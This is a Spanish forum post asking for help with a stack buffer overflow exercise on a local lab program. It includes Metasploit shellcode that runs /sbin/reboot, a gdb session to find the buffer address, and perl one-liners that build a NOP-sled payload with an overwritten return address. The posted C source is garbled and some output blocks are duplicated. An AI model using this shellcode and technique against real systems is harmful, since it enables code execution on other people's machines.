Código
#include <stdlib.h> #include <unistd.h> #include <stdio.h> #include <string.h> void premio() { } int main(int argc, char **argv) { char buffer[64]; }
Y genero shellcode con el siguiente comando:
Código:
root@debci-lab:/usr/share/metasploit-framework/tools# msfpayload linux/x86/exec CMD="/sbin/reboot" P
# linux/x86/exec - 48 bytes
# http://www.metasploit.com
# VERBOSE=false, PrependFork=false, PrependSetresuid=false,
# PrependSetreuid=false, PrependSetuid=false,
# PrependSetresgid=false, PrependSetregid=false,
# PrependSetgid=false, PrependChrootBreak=false,
# AppendExit=false, CMD=/sbin/reboot
my $buf =
"\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73" .
"\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x0d\x00\x00" .
"\x00\x2f\x73\x62\x69\x6e\x2f\x72\x65\x62\x6f\x6f\x74\x00" .
"\x57\x53\x89\xe1\xcd\x80";
# linux/x86/exec - 48 bytes
# http://www.metasploit.com
# VERBOSE=false, PrependFork=false, PrependSetresuid=false,
# PrependSetreuid=false, PrependSetuid=false,
# PrependSetresgid=false, PrependSetregid=false,
# PrependSetgid=false, PrependChrootBreak=false,
# AppendExit=false, CMD=/sbin/reboot
my $buf =
"\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73" .
"\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x0d\x00\x00" .
"\x00\x2f\x73\x62\x69\x6e\x2f\x72\x65\x62\x6f\x6f\x74\x00" .
"\x57\x53\x89\xe1\xcd\x80";
Y usando el pattern match de msf, me dice que la return address está en un offset de 76 a partir del buffer. Por tanto hago lo siguiente:
[28 NOPS] + [48 PAYLOAD] + [4 RTN ADDRESS]
Para calcular la RTN address, he hecho lo siguiente (la dirección de mi buffer):
Código:
gdb poc
GNU gdb (GDB) 7.4.1-debian
Copyright (C) 2012 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "i486-linux-gnu".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>...
Reading symbols from /root/testOverflow/poc...done.
(gdb) break main
Breakpoint 1 at 0x8048469: file test.c, line 12.
(gdb) run
Starting program: /root/testOverflow/poc
Breakpoint 1, main (argc=1, argv=0xbffff584) at test.c:12
12 gets(buffer);
(gdb) print &buffer
1 = (char (*)[64]) 0xbffff490
(gdb) quit
A debugging session is active.
Inferior 1 [process 10092] will be killed.
Quit anyway? (y or n) y
GNU gdb (GDB) 7.4.1-debian
Copyright (C) 2012 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "i486-linux-gnu".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>...
Reading symbols from /root/testOverflow/poc...done.
(gdb) break main
Breakpoint 1 at 0x8048469: file test.c, line 12.
(gdb) run
Starting program: /root/testOverflow/poc
Breakpoint 1, main (argc=1, argv=0xbffff584) at test.c:12
12 gets(buffer);
(gdb) print &buffer
1 = (char (*)[64]) 0xbffff490
(gdb) quit
A debugging session is active.
Inferior 1 [process 10092] will be killed.
Quit anyway? (y or n) y
Por tanto me queda así el buffer que mando, sabiendo que la address del buffer es 0xbffff490:
Código:
perl -e 'print "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x0d\x00\x00\x00\x2f\x73\x62\x69\x6e\x2f\x72\x65\x62\x6f\x6f\x74\x00\x57\x53\x89\xe1\xcd\x80". "\x90"x28 . "\x90\xf4\xff\bf"'
Pero solamente obtengo un "Violación del segmento".Para asegurarme que el buffer está bien calculado en tamaño, hago lo siguiente:
Código:
perl -e 'print "\x90"x28 . "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x0d\x00\x00\x00\x2f\x73\x62\x69\x6e\x2f\x72\x65\x62\x6f\x6f\x74\x00\x57\x53\x89\xe1\xcd\x80" . "\x4c\x84\x04\x08"' | ./poc
El flujo de código ha sido modificado.
Violación de segmento
El flujo de código ha sido modificado.
Violación de segmento
Sabiendo que la dirección de premio() es 0x0804844c, que he conseguido gracias a objdump.
Qué estoy haciendo mal? Abordando el problema usando la ADDR de premio(), llego a la conclusión de que la dirección de salto es incorrecta o que el payload está mal generado?
Estoy cómo loco y no sé que diablos me pasa...